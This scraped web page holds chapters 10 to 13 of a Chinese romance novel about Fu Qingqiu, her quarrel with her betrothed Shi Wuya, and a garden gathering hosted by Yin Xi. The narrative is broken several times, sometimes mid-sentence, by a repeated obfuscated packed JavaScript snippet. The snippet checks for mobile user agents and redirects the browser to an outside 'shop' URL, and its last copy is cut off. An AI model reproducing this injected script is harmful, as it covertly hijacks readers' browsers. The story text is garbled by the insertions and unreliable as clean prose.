“分明,是你喜欢大姐姐,所以才厚此薄彼讨厌我。”付清秋一边擦泪,一边流泪,委屈翻涌在眼底,“明明是你的不对,就算我喜欢你,我也没有错。” 听她如此说,师无涯横眉怒目,气急道:“就算付二姑娘有错,也轮不到我来说,这付宅里谁会说你有错。” 阖府上下,谁人不知付清秋是付家的掌上明珠,只恨不能将天上明月摘下给她。 师无涯不欲与她争辩,省得她又闹出什么事儿来,“付二姑娘有病便好好养着,何苦要拿我来做理由。” “若你真的非要秋千,我去求伯母为你打一个。” “我不要了!”付清秋哑声道,“无涯哥哥,我从来没有拿你做理由,从来没有。” 师无涯勾唇冷笑,道:“付宅里人人都哄着你,你要就要,不要就不要,与我没什么关系,不需要和我解释什么。” 付清秋心知师无涯误会了他,急切想要辩驳,道:“无涯哥哥,我不是非要那个秋千。”她顿了顿,问道:“你为什么要给大姐姐做那个秋千,是她向你求的,还是你主动要为她打的。” 若是付清岁向他要的,师无涯应了她无可厚非,可若不是,那她岂不是成了笑话。 师无涯冷声冷气道:“是我想要为她做的。” “师无涯!”付清秋眼酸心乏,再不想见到他,师无涯被她推赶出门,“我再也不想见到你!” “那我就遂了付二姑娘的愿。”师无涯转身欲走,似想到什么,又道,“我只盼着付二姑娘你能自尊自爱,日后不要缠着我才是。” 师无涯本想再说些什么,可听付清秋泣不成声懒得在和她,就是说了她也未必听得进。 付清秋掩面痛哭,早不知是因那句话伤心,师无涯高傲,从不肯向她低头,连一句好话都不愿对她说。 这么多年她想要的,师无涯都会毫不犹豫的给付清岁,那她究竟算什么。 师无涯箭步离开,绿柳闻声赶来,只见付清秋抱膝蹲在门下,孤零零的一团绿影,泪眼蒙蒙地望着院门逐渐远去的背影。 “我再也不要喜欢师无涯了。”付清秋扑到绿柳的怀里,抽噎发抖,“我再也不要喜欢他了。” 绿柳顺着她的背,不着一言,任由她的眼泪打湿她的衣裳。 哭了好半晌,许是哭累了,付清秋进屋倒头就睡,绿柳出宅去寻人修门。 戌时一刻,正房外仆从依次进屋,付彰同韦氏一道用饭,韦氏心口堵得慌,吃了几口便坐到一旁。 李妈妈顺势奉茶,韦氏接过捧在手心,瞥见付彰吃得安逸,幽幽开口:“官人饭吃得这么香,可是为清秋找好了夫家?” 韦氏一开口,付彰就知道她安的什么心,但此时他只想安安心心的用饭。 “官人,我吃不下,你也别吃了。”韦氏命人把饭菜撤了下去,付彰手中瓷碗被女使收走。 付彰无可奈何地甩袖,道:“急什么?” 韦氏冷笑:“你自然不急,外头的狐狸精多的是愿意为你生姑娘的,如今连清秋的事儿都不急了?我不死,你也别想娶过门。” 付彰背过身去,半明半暗的烛光映出老成儒雅的背影,韦氏咄咄逼人,付彰不紧不慢地回道。 “清秋是我们的女儿,我怎么不为她着急。”他缓声道,“清秋喜欢无涯,无涯如今握着青玉镯不退婚,难不成你要逼着他交出来?” “你也太过薄情寡信了些。” 韦氏柳眉倒竖:“我薄情寡信?罢了,那些事就不提了,如今清秋也不小了,清岁我也有了属意的人家。” 韦氏缓声道:“我知道你念着师家的恩,想把清秋嫁给师无涯,可他师无涯如今没个依仗,身无功名,清秋从小娇生惯养,如何能跟他去过穷酸日子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191532|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从前的师家,她或许也就允了,可如今师家只余师无涯一个人,实在配不上付清秋。 付彰道:“你就是再急,也不能让他还回青玉镯,你若想吃官司,只管大张旗鼓的给清秋说亲,到时无涯闹出来,谁的脸上都不好看,你总得讲一讲人情道义,别让人看轻了我们。况我如今仕途正好,远衡高中状元,你是要毁了付家吗?” 韦氏攥紧手帕,生生咽了口气,付彰说得在理,付家如今风光正好,保不齐有人等着抓他的错处。 “是啊,总有人在暗处看着咱们,只怕日子越久,清秋陷得越深。”韦氏将她今日所见所闻告知他。 付彰沉吟片刻,道:“姑娘家爱耍性子,随她去罢,无涯未必喜欢清秋,我瞧着他对清岁倒是不错,你也别急着将她嫁出去,留在家里短不了她的衣食,她若也喜欢无涯,倒也是好事一桩,遂了你的意,也好让清秋日后能嫁个好人家。” 韦氏哼声不语,付彰宽衣上塌,二人睡去,同床异梦。 自那日过后,付清秋仍把自己闷在屋里,但却愿意见人了,付高越闻说,提了两盒百花糕就去见她。 付清秋正在书案前写着印花笺,忽听绿柳在外头道:“二郎君来了。” 眼瞧着来不及藏了,付清秋索性将下面的印花笺盖在上面胡乱地放好笔,长舒一口气。 付高越拎着食盒,满面春风地跨门进来,付清秋迎上前,抿唇笑道:“二哥哥怎么来了?” “还说呢,前阵子是怎么了?谁都不见,我晓得的。”付高越眸中含笑,“我听说了,你和师无涯吵架了。” 付高越打量着付清秋,“这次瞧着倒没闹脾气,当真是奇怪。” 付清秋坐下,闷声道:“我就该为他魂不守舍?我在二哥哥眼里就是这么窝囊啊。” “你本来就是这么个性子,为了师无涯,你怕是连命都可以不要。”付高越拿出百花糕,挑眉打趣,“吃块百花糕,甜一甜。” 付高越拿着百花糕在她面前晃,付清秋径直咬住他手上那块,恰好咬着他的虎口,付高越瞪大双眼,吃痛惊呼。 “瞧瞧,瞧瞧,说中了你的心事倒还咬我一口,也就你这么无法无天了。”付高越宝贝似的吹吹手,“你和清岁性格参商,将来也不知道谁能娶你去受气。” 付清秋凝眉,吐出糕点,“呸呸呸,难吃死了,你出去你出去,我也不想见到你,你喜欢大姐姐,去找大姐姐说话,我是一点也不想见到你,走开。” 付高越被推着往外去,回头见她两腮气鼓鼓的,像是被偷了粮的仓鼠。 “又是怎么了!”付高越一脸疑惑,这几日付清秋脾气古怪,才说一两句话就惹得她不高兴。 绿柳正要进来奉茶,险些撞上付高越,唬得她心乱如麻。 付高越停步,朝她轻笑,“绿柳,你快进,我得先走了,清秋再看着我怕是要吃了我。” 绿柳眉眼带笑,应声道:“二郎君先去罢,下次不给我带一块百花糕,我也跟着姑娘赶人了。” “那是自然。”付高越抬步离开,回身朗然笑道,“绿柳,帮我哄哄清秋。” 春色明媚灿烂,湖蓝色身影遥遥远去,绿柳目送付高越离开,付清秋仍生着闷气,将他带来的糕点分给绿柳。 “何须下次,这会就给你。” 付清秋将糕点递给绿柳顺手关上门,复又静下来后又趴到桌案边写字。 11. 第11章 时至四月底,春息渐歇,正值春夏交替之际,韦氏裁了新衣裳送来,绿柳一一收好。 这几日韦氏常来看她,见付清秋心绪低迷,虽说想问缘由,却又怕触得她伤心,只好不提这事。 云露前几日同她说,付清秋这几日常常在书案前写字,韦氏正想问,付清秋打了个哈欠,懒懒地困在韦氏怀里。 “阿娘,我好困呀。”她轻轻蹭了蹭韦氏,如同猫儿窝在人怀里,慵懒倦怠。 韦氏轻抚她的发丝,眸光温和慈爱,“困了便去睡会罢,等你醒了与你说些高兴的事儿。” 付清秋仍扑在韦氏怀里,并不在意那高兴的事儿。 韦氏道:“去睡罢。” 绿柳云露进屋服侍付清秋睡下,韦氏替她掖好被角,揉了揉她的头,看她安静不闹腾的模样,心中竟有几分不自在。 想起往日她在杭州活色生香的模样,韦氏忽觉眼前的女儿有些陌生。 “无涯哥哥......” 付清秋眉头紧锁,吐出梦中呓语,这一声叫韦氏忧心不安。 午时三刻,付清秋幽幽转醒,满室生香,宁静祥和,日光怡然,书案上的印花笺被风吹落在地,书页随之翻动。 这些天她本想多读些书,好让师无涯对她另眼相看,只可惜一见着黑纸白字就困得不行。 付清秋慢慢起身去拾印花笺,这些天她不晓得写了多少张,只晓得不停地写,或许写到那一天就成真了。 真的能不喜欢师无涯了。 付清秋摞好一叠叠笺纸,从书架的下抽出红漆檀木匣子,里头放着师无涯送的生辰礼,还有她这些天写的印花笺,全都规规矩矩地叠放好。 这次师无涯不来见她,她绝也不会再去见他。 即使那是在气头上说的话,付清秋也觉自己没有错,明明就是师无涯在偏心付清岁。 师无涯不哄她,她这回绝不原谅,绝不理他。 付清秋暗自想着,一点点的整理,手里一张张笺纸放进去,她心里如此想,但却没想好如果师无涯真的来哄她,她该如何办。 要不要原谅他,要不要再喜欢他。 倘若是这样的话,她想她是愿意继续喜欢他,圣人说人人都会犯错,只要师无涯愿意认错,她就愿意原谅他。 嗯,会原谅他。 思及此,付清秋杏眼盈盈,眸中隐约含笑,收好印花笺,自个开门走到院里,门前青梅树上开出莹白淡黄的青梅花。 绿柳正巧踏着春光回来,笑问:“姑娘醒了,可要用饭?” “不了,绿柳你手上拿的什么?”付清秋疑问道。 连日以来付清秋少食不动,身形愈发清瘦,绿柳见此三步并作两步,生怕她被风吹倒。 绿柳道:“夫人说贺家递了帖子来,邀姑娘郎君去青园雅集游玩赏花呢。” 付清秋接过帖子,猛然想起在金明池畔见到的那双温柔眼眸,那时尹惜一定看见她跳河了,为何会突然邀她们一家去青园。 尹惜在闺阁中就已才满汴京,是位才貌无双的娘子。 付清秋幼时见过尹惜,只觉那人犹如天山雪莲,遥不可及,可金明池畔遥遥一见,她不知为何心中生出莫名的依赖钦佩。 绿柳见付清秋默然不语,便道:“夫人说,这些天姑娘闷在屋里,也出去散散心,这回夫人不跟着,只叫姑娘们自己玩。” 付清秋回神,又惊又喜:“阿娘不去?” 韦氏不去,她自然松快些,可师无涯会去吗,大姐姐又会去吗?若只她一个人去又有什么趣儿,说不定还要闹笑话。 回想往日里韦氏带她出门赴宴,韦氏叫她如何做,她便如何做,就连衣裳首饰都是预先备好的,由不得她穿什么。 付清秋晃神发愣,绿柳心知是为何,便又道:“夫人这回命我陪着姑娘去,大朗君二郎君并师郎君和大姑娘都会去。” 师无涯随付家来汴京后,在汴京并无知交好友,无人知晓师家三郎是谁。 付家很少向外提及师无涯,若有人问及,也只一句远方表亲带过,因而师家三郎,在汴京恐怕查无此人。 “无涯哥哥竟然也会去?”付清秋掩不住眼中欣喜,从前师无涯几乎不去任何宴会,韦氏只好带她出门。 这回竟然能一起去青园雅集。 付清秋喜上眉梢,还未来得及高兴,便又想到前些日子师无涯说的那些话,可好不容易有一次能一起出门的机会。 师无涯性子高傲,一定不愿来与她说话,或许这次是个好机会。 万一,他是想在青园向她道歉呢。 付清秋自顾自地想着,绿柳看着她眸光忽明忽暗,也不知她在想什么,只好先去寻云露,问云露是否要一同前去。 等到绿柳回来时,付清秋已不见踪影。 五月初五,临赴宴前夜,韦氏命人送来新衣裳,打了新首饰,灯影昏昏,韦氏借着烛光打量付清秋,眼露怜惜。 万千叮嘱的话哽在喉间,最终只说了句:“好好散散心,有清岁在,你便随意逛逛,闷在屋里都瘦了。” 韦氏抬手轻抚她的脸颊,付清秋大抵明白韦氏担忧顾虑什么。 她眉眼弯弯,杏眼眯成月牙,甜滋滋地叫了一声,“阿娘”。 这一声直叫人心都软了,韦氏眸光愈发柔和,望着眼前乖巧灵秀的小女儿,她总想起付清秋幼时粉圆可爱的模样。 当真是像块糯米糍粑,她先前生养了两个儿子,却都不及眼前这个女儿玲珑可爱。 光是听她一句话便是心生欢喜。 韦氏柔声道:“快歇着去,明日我可要考你诗文的。” 付清秋依着韦氏,撒娇道:“阿娘,我是去散心的,饶了我罢,我才不要去作诗呢,有大姐姐在就好了。” 付清岁琴棋书画在汴京闺秀中十分出挑,饶是韦氏没带她出去过几次,却也有人晓得付家有个知书达理的姑娘。 韦氏点戳她的眉心,凝眉道:“你是个不长心的,什么都让你大姐姐占了,将来你要什么?” 付清秋眼皮耷拉,犯了困,迷迷糊糊地顺口道:“我只要和无涯哥哥成婚。” 话落,房内静了下来,灯烛翩然摇曳,韦氏紧锁眉头,朝一旁的李妈妈轻声道:“叫云露绿柳服侍她睡下。” 二人闻声进来,韦氏看她睡下才离开。 月梢枝头,李妈妈提灯扶着韦氏,韦氏感叹道:“清秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191533|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里都好,就是心思单纯,将来被人利用还要替人算账,我只怕她没有依靠,日后如何立身。” 风卷草枝落叶,甬道两侧绿草丛生,流水潺潺淌过。 李妈妈思索片刻道:“夫人,姑娘才刚及笄,还是小孩心性,哪儿知道这些。” 韦氏语重心长,“只怕将来会更执拗要强。” 次日一早,碧空晴日,风清柳绿。 付清秋与付清岁同乘马车,师无涯随付家兄弟一道,出门时,韦氏宅前相送,付清秋心里藏不住欢喜,却因那件事梗着,仍赌气不理师无涯和付清岁。 她同韦氏说过几句话便辞了,付清秋瞧瞧打量四周,在余光中探寻师无涯的身影,只可惜没瞧见他。 绿柳扶她上去,付清岁着青衣白裳,妆容雅致清新,端的温婉贤淑之风,付清岁见她来轻柔一笑,向她伸手。 付清秋视若无睹,别开视线,独自坐到一边。 付清岁大抵知道付清秋是为何事,只是她还未想好该如何说。 付清秋自幼就是个说一不二,固执己见的人,她不善藏事,从来都是喜形于色,好哄也不好哄。 可这样僵持下去,总是无益,付清岁只好先开口。 “清秋,你在生我的气,还是生三哥的气。”她眉心轻蹙,声音轻柔婉转,似是怕得罪了她,故意做出的一副可怜模样。 付清秋并不讨厌这个姐姐,至少心里是羡慕她的,羡慕付清岁能轻而易举得到师无涯的喜欢,羡慕她的为人处事。 马车驶过街巷闹市,良久,付清秋才应声道:“大姐姐,你答应过我的话没有做到不是吗?” 付清岁解释道:“我是想见你和你说这事,可你闷在屋里不肯见人,自然是恼我了,可清秋,我与三哥并非你所想的那般,三哥待我好,收下我的画,陪我作诗不过也是把我当作妹妹。” 师无涯来付家后,付清秋直叫他“无涯哥哥”,唯独付清岁,一直叫他“三哥”,这么多年,两人都未曾改口。 付清岁口中的只把她当妹妹,付清秋是一点不肯信的。 倘若师无涯将付清秋认作妹妹,就不该对她许下誓言,她又不是三岁小孩,哪里会信这番说辞。 “妹妹,哪门子的妹妹,付家和师家又不是血亲。”付清秋驳道,“他才没有把你当妹妹。” 此言一出,付清岁羞愧难当,垂首捏着手中帕子,付清秋说的不错,师付两家并无血亲。 师无涯究竟如何待自己,付清岁心中明了,只是她无法对付清秋开口。 付清秋见她噤声不语,只当是她理亏,便嗔怪道:“大姐姐,你什么都好,饶是我理亏你还是愿意低声下气地来哄我,大姐姐,无涯哥哥喜欢你,你知道不知道?” 付清岁仍不言语,眉间凝重,面色愈发难看。 “你知道的,你什么都知道,只有我是傻的,你们情投意合早该和阿娘说去,何故做出这副样子来。”话虽如此说,付清秋却是不愿意她真的这样做。 倘若付清岁真的向韦氏去求,师无涯也应了,那她该如何办。 付清秋转头盯着她,可付清岁缄默静坐,如同抽丝木偶失了魂魄,瞧上去只剩了一副空壳子。 12. 第12章 付清岁实在不知该说些什么,付清秋的这番话她无可辩驳,只好认下。 见她不言语,付清秋怏怏不乐,也不再为难,索性撂开帘子往街上看去,只是她心里乱,看外面铺子打眼晃过。 付清秋望着帘外发呆,回想起那日师无涯和她说的话,明明她没有错,为何师无涯反倒生起气来了。 自打来了汴京,师无涯的心便一直向着付清岁,无论她做什么,在师无涯眼里似乎都是错的,是装出来的。 付清岁悄然抬眸,将付清秋失落的情绪一览无余,付家人的掌上明珠,在面对自己喜欢的人的时候,还不是求而不得。 思及此,付清岁唇角轻扬,方才的窘迫逐渐淡去。 今日贺宅前马车拥堵,绿柳探头看了看,便向里头道:“姑娘,要不先下来,让小厮留下。” 付清秋应声,付清岁让她先下,绿柳搬来马凳,二人先后下来。 贺宅门前一行贵妇人满头珠翠,锦绣华服,年轻姑娘都跟在母亲身后,付清秋心下胆怯,这样的场合,往日都是韦氏带着她,才不至于行差踏错。 碧空万里,晴风爽利,姑娘们的罗裙似春花逶迤,盛家三姑娘打眼一望便瞧见付清秋。 盛三姑娘向母亲说过便直直向她走去,只听后面有人嘀咕了一句,“这会就去见人了,谁知是去见什么人。” 盛婼听见,毫不客气地回头瞪了她一眼,盛婵这才噤声,视若无睹地挑眉望向别处。 “姑娘,她仗着夫人去了,就这般得势,将来张小娘子被扶正,哪还有姑娘您说话的地方。”红菱不服气。 盛婼勾唇冷哼,道:“除非她不怕死,有胆子害死我母亲,我就有手段让她滚出盛宅,黑了心的,我要叫外祖父扒了她的皮。” 话说着,盛婼收了戾气,面上柔柔笑着,缓步走到付清秋身边。 “见过付姐姐。”她先朝付清岁施礼,随后不再理会她,径直拉过付清秋的手,眼中闪过一丝惊诧。 付清岁识趣地退到一旁,另一面师无涯一行人正走过来。 盛婼上下左右打量,嗔道:“你瘦了,上次金明池不辞而别,玩得都不尽兴,这回我可是专程为了你来的,不然谁要来劳什子雅集,我不喜欢作诗,你知道的。” 付清秋手心温热,眼底的愁绪还犹存,她心虚道:“那日我有事先回去了,这次不会了,盛姐姐让你担心了。” 盛婼忽然扬声,笑道:“你是病了一场?说话都变了,还要跟我客套。” “盛姐姐怎么知道我病了?难不成是买通绿柳,她给你偷偷的报信儿?”付清秋也笑着打趣,但盛婼却收敛了笑。 盛婼本就生得明艳,一颦一笑都似刺人的玫瑰,笑时瑰丽漂亮,一时间不笑又让人觉得冷艳至极。 付清秋暗道是不是她说错了什么话。 盛婼漠然不语,吓得付清秋不知所措,恰此时,付高越信步走来,凑到两人跟前,歪着头朝她道,“盛三姑娘,好久不见啊。” 绿柳低头往后退去,盛婼回过神来,一双勾人的狐狸眼盯着付高越道:“是挺久的了,我同令妹有话说,你闪开些。” 盛婼伸手推开他,拉着付清秋往贺宅去,付高越一脸错愕,只见盛婼回眸恶劣一笑,似在嘲弄他。 可他何时惹到她了,付高越望着她的背影发愣,直至付远衡出声才回过神来。 绿柳小步跟上付清秋,鬼使神差地回头看去,见着付高越师无涯几人一道说笑。 进了贺宅,盛家小厮来请盛婼回去,盛婼气道:“你是谁的奴才?谁叫你来喊我回去的?” 小厮眨巴着眼,急得冷汗直冒,盛家最厉害的小娘子就站在他面前,身为奴才是一点没有选的。 他只能如实说:“是张小娘子来叫我来请的,说是一家人不要走散了,待会再来寻付二姑娘也是可以的。” 付清秋望着两人,倒是有苦说不出,无助地向绿柳投去目光,绿柳摇摇头也没有法子。 盛婼撒开付清秋的手,眸光寒凌地问道:“张小娘子,她还没当家作主呢,你就拿她当主子了?我才是你正经的主子!” “去回她,我今日就要和付二走在一起!凭她去告状!”盛婼往后拉过付清秋的手,红菱瞪大双眼,见此吓得面色惨白。 付清秋亦为难道:“盛姐姐,你牵错人了。” 付高越脸急红了半边,暗自发誓再不这样逗人,付远衡反应极快,忙道:“还不快松开!” 盛婼心下疑惑是牵到了什么妖魔鬼怪,回头一看,惊得芳容失色,连忙甩开手,松开后又嫌恶地甩了十来八遍,“你有病吗,付高越。” “我看在清秋的面儿上喊你一句哥哥,你真以为是我哥哥了?”盛婼眸光一转看向红菱,“愣着作甚,带我去净手。” 小厮颤颤巍巍地跟在她身后,盛婼回头剜他一眼,“再跟着我,你就滚出盛家。” 那小厮急得哭了出来,两头不讨好,惹得自己一身骚。 付清秋见师无涯也在,心中刚腾起欢愉又熄了下去,师无涯身着赤金长袍,以金冠束发,他站在付清岁身边,二人如神仙眷侣。 直到此刻,付清秋恍然觉得,师无涯还是不会和她道歉,也不会和她说话。 一切的一切,都只是她自己所幻想的,真正的师无涯甚至连一个眼神都未曾分给她。 付清秋垂首不语,付高越凑到她身边,低声道:“盛三姑娘的性子也太刚强了,难怪汴京人人都觉她是只母老虎。” “盛姐姐,人还是挺好的啊,你只是不了解她而已。”付清秋闷闷地说,“二哥哥也别讨嫌了,惹得盛姐姐生气。” 付高越讶然:“我哪儿惹她了,分明是她牵的我。” “要不是你想唬她,盛姐姐怎么会牵你的手,还不是二哥哥你的错。”付清秋嗔怪,余光却瞥向师无涯和付清岁。 师无涯似乎觉察她的目光,视线轻转,淡淡地望了她一眼,只见她和付高越交谈甚欢,回想起那日的事,竟生出些许歉疚。 “三哥你在想什么。”付清岁轻声问。 “没什么,这园子不错。”师无涯环顾四周。 青园逢夏,绿荫遍地,枝头繁花盛开,偶尔有风吹落,别有雅致。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191534|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>尹惜候在园前,身着淡粉海棠对襟褙子,下着同色粉裙,腰上系着合欢结,梳着坠马髻簪有珍珠鲜花,眸若静水,粉面含春。 这便是她少时仰慕的才女,而尹惜身侧之人,疏风朗月,端方文雅,正含情脉脉地望着她。 郎才女貌,在这一刻好似变成了两个人的代名词。 贺清对爱人的眼神,深情缱绻,一刻都不愿挪开,这样的目光,付清秋从未在爹娘眼中见过,也未发觉师无涯对付清岁有过。 尹惜的视线停在付清秋身上,温声问:“付二姑娘,近来可好?” 付清秋乖巧颔首,尹惜也笑问付清岁,问过后便向贺清道:“你带付家二位公子先去,这位便是师三郎君了罢。” 师无涯迟疑地看向她,汴京几乎少有人知他的身份,饶是当年他父亲的同僚,也早已告老还乡,能记得他的寥寥无几。 而尹惜一介妇人,怎么会认得他。 贺清视线落在师无涯身上,打量着这位不速之客,师无涯并未和尹惜搭话,只是颔首。 几人一道进园,青园曾是官家赐给尹太师的,尹太师怜爱小女儿,遂将青园与了尹惜。 青园地势开阔,曲水流觞,依山傍水而建,正逢孟夏万物繁茂之际,尹惜领贵女们往花园去,付清秋跟在付清岁身边。 她心里气着付清岁,却也不能给付家丢脸,不能叫别人看了笑话。 付清秋在锦绣衣堆里找盛婼,打眼望去,未见其着人,但她的妹妹盛婵却在不远处和人笑谈。 因盛婼的缘故,付清秋不喜欢盛婵,盛婼母亲何棋病弱,盛家后院常被张小娘子把持,正头娘子和嫡女被压得不成形。 偏生外头一点不晓得,只说何棋善妒,其女儿似霸王蛮横不讲理。 若不是她与盛婼交好,恐怕也会信了这些话。 付清秋正要去寻她,刚一抬眸便见付清岁和盛婵说上了话,而师无涯就在一旁远远地看付清岁。 看来她今日是等不到师无涯道歉了。 这样的场合没有韦氏在,一时之间,她毫无头绪,甚至不知该往哪里走,付清岁又和盛婵在说话,她实在不愿意过去。 她在原处愣了会,尹惜朝她款款而来。 贺清的目光停留在尹惜身上,那道缱绻的目光似乎从未离开过尹惜。 付清秋打心底羡慕,见她来,付清秋抿唇抹开笑,“尹姐姐。” 尹惜笑道:“付二姑娘人如其名,清秋绝色,站在这儿胜百花三分。” 付清秋怔愣片刻,望向尹惜,不知该说些什么,此时尹惜也看着她,尹惜柔声道:“付二姑娘是头一回自己出门?” 付清秋颔首称是,闻言,尹惜温柔道:“那便是了,往日我在府上也不爱出门。” 尹惜引她到湖边亭坐下,递给她一盏茶,“付二姑娘闷闷不乐是何事?能否说与我听听?” 付清秋旋握手中白瓷盏,还未想好是否要将心事告诉尹惜,尹惜待她如此温柔和善,又是汴京城不可多得的才女。 她倒是想问一问,尹惜在面对未婚夫不喜欢自己的时候会如何办。 13. 第13章 燕雀枝头嬉闹,柳枝傍河走,湖边亭下尹惜静静注目。 付清秋思索良久,小声说:“尹姐姐,我有个未婚夫,他不喜欢我,可是我只喜欢他,为了他我什么都愿意做!” 说到后面,付清秋眼神言辞激烈,她抬眸望向尹惜,却见尹惜平静地看着她,那目光像涓涓细流,一点一点淌过。 尹惜愣了片刻,冷声问:“是连命都可以不要吗?” 原先她想不通一个芳龄正好的姑娘是为何要跳河,如今算是明白了,为情跳河,为爱自戕。 “付二姑娘,你年纪小,我便不同你说重话,为了一个不相干的人搭上了命,赔上自己的一生,好没骨气的一个姑娘。”尹惜愤然,恨恨地别过眼去。 付清秋没曾想过尹惜会这样说她,可尹惜是长辈,她无话还嘴,但心里却不肯服气。 “尹姐姐教导我是应该的,可尹姐姐家世美满,得遇良人举案齐眉,自然是说得出我没骨气的话,”付清秋声如蚊蝇,“我只是喜欢他又有什么错,我和他有婚约,我不该喜欢他吗?” 尹惜凝眉,她倒没发现付清秋是个倔性子,付清秋低垂着头,悄悄抹掉泪珠。 “罢了,你尚年少,有些是只能自己磋磨,方才的话,你没听进去。付二姑娘,我并不想以长辈的姿态教导你,只是人命珍贵岂可胡来,叫父母伤心。”尹惜放软声音,无奈地说道。 这话说到付清秋的心坎上,上回金明池过后,她方才明白父母之心,如今尹惜再说起来,付清秋愧意横生,低声啜泣。 尹惜从袖中递出干净手帕,“待会你还要去席间,用我的罢。” 付清秋泪眼蒙蒙地接过,自顾自地擦眼泪,尹惜举止温柔,即使蹙眉含嗔也别有风情,付清秋暗想像尹惜这样的人,应当谁都会喜欢。 清风悠扬,风中裹着花香,碎金在湖面闪动。 尹惜半倚着扶栏,左腕上的琉璃镯子垂在膝上,她眉眼如画,凭风吹动发丝,金簪步摇微微晃荡。 “哭是最没用的,付二姑娘,哭够了就吹吹风。” “付二姑娘口中的我,看似风光,似乎人生无憾,可内里的阴晴圆缺,你又知道几分,不过是外头的人看着体面,艰辛都往肚子里咽。” 尹惜淡淡垂眸看着琉璃镯子,笑道:“不过,我是有几分机缘的。” 付清秋错愕抬眸,疑道:“尹姐姐竟也有不如意的事吗?我以为尹姐姐不会有憾事,但也好过我。” 尹惜眸光忽沉,哼声道:“付二姑娘是没将我的话听进去,罢了,将来你就明白了,我可从来不奢求那些虚妄的东西。” 尹惜见她冥顽不灵,也不再说这些,调转话头。 “付二姑娘,你是杭州来的是吗,我父亲原也是杭州调任汴京来的,说起来,我已有好久没回过杭州了。”尹惜叹道,“终是抛不得杭州去,日后做个伴一道回一次杭州如何?” 付清秋惊疑,“可尹姐姐雅言说的很好。” “吴语难改,你来汴京才几年,过段时间便好了。”尹惜仍旧懒懒地靠在扶栏上,这与付清秋第一眼见到的尹惜似乎不大一样。 “夫人,席上妥当了,灵姐姐已使人去请夫人姑娘们了,夫人也快去罢,大人催我们催得紧。”来报信的女使急声催尹惜。 尹惜坐直身子,眉尾轻挑,戏谑道:“他这么急作甚,当真还怕我跑了?” 闻言,尹惜缓缓起身,不紧不慢地道:“他催我,我偏慢慢去,还能把我吃了?” 付清秋见此,急忙起身:“尹姐姐,我们走罢,这会我该去寻姐姐了,我便先去了。” 还不待尹惜开口,付清秋福身离开。 冬月望着付清秋离开的背影,心下疑惑是谁家的姑娘生得如此眼熟。 “夫人快去罢,大人拿我问罪,我只能把夫人你前些日子搜罗来的奇闻异书藏起来,别想找着。”冬月瘪嘴,夫妻两人吵架哪有拿下人逗趣的。 付清秋赶到席上时不见付清岁,正慌乱寻找时,正巧回头撞上付清岁,付清岁拧眉问道:“你去哪儿了?我叫冬盈四处寻你,若是再出事了怎么办,你要母亲怎么办。” “拿阿娘说事作甚,我有我的道理,大姐姐你不也是先和别人说了话?”付清秋带着绿柳转身坐到盛婼身边。 付清岁拦不住她,只由得她去,冬盈瞪着付清秋,“二姑娘只会窝里横,捏着姑娘的错,今日若不是姑娘,付家的脸都要被丢尽了。” 盛婵因见盛婼和付清秋交好,方才只仗着正主不在,大肆在其他姑娘面前抹黑付清秋无才无德,连带着付清岁也被说得是个没用的庶女。 若不是付清岁去与之交谈,和其余贵女抹开了面,这才扫清盛婵说的闲话。 付清岁沉声道:“罢了,冬盈你收敛些,什么话都不要说。” 冬盈见师无涯与付高越前来,只好收声,付清岁上前问安,“二哥和三哥怎么来得这么晚?在哪儿绊住了?” 师无涯没忍住笑,道:“有人是被绊住了。” 付高越恼羞成怒推搡着师无涯,闷声道:“好啊你,师无涯,你也取笑我,怎么就怪我了?你说说,又不是我招惹的她。” 付清岁还未问是何事,只见他们两人身后匆匆跟着两人。 少女殷粉衫裙,明媚灿然,只是眼中带着一股没由来的怨气,经过付高越时,狠狠瞪了他一眼,顺带恶劣地朝他笑了笑。 付高越腹背生寒,吓得一哆嗦,想要抱住师无涯。 师无涯侧身往付清岁身边躲,付高越扑空,险些又要扑到盛婼身上,唬得他连忙重心不稳地往后退,师无涯顺手捞了他一把。 “欠我一回。”师无涯勾唇道。 付高越挥挥衣袖,无赖道:“我全家都欠你的。” “别迟了,快走罢,三哥你坐哪儿?”付清岁与他一道入席,但师无涯却转身坐到角落边上,付清岁正要和他一起,盛婵的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 